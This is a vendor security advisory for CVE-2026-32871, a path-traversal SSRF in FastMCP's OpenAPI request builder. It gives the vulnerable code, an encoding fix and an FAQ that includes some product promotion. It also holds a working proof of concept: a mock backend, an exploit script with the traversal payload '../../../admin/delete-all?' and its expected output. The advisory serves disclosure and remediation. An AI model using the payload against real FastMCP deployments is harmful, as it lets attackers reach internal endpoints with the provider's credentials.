CVE-2026-32871

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Root Cause

1. Path parameters are substituted directly without URL encoding
2. urllib.parse.urljoin() interprets ../ as directory traversal
3. No validation prevents traversal sequences in parameter values
4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

• Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
• Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
• Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
• Data Exfiltration: Sensitive internal APIs can be accessed and exploited
• Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
2. Data Theft: Access internal databases or sensitive information endpoints
3. Service Disruption: Trigger destructive operations on backend services
4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-32871 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.2.0); upgrading removes the vulnerable code path.

Kodem intelligence

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

1. What is CVE-2026-32871? CVE-2026-32871 is a critical-severity server-side request forgery (SSRF) vulnerability in fastmcp (pip), affecting versions < 3.2.0. It is fixed in 3.2.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-32871? CVE-2026-32871 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of fastmcp are affected by CVE-2026-32871? fastmcp (pip) versions < 3.2.0 is affected.
4. Is there a fix for CVE-2026-32871? Yes. CVE-2026-32871 is fixed in 3.2.0. Upgrade to this version or later.
5. Is CVE-2026-32871 exploitable, and should I be worried? Whether CVE-2026-32871 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32871 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32871? Upgrade fastmcp to 3.2.0 or later.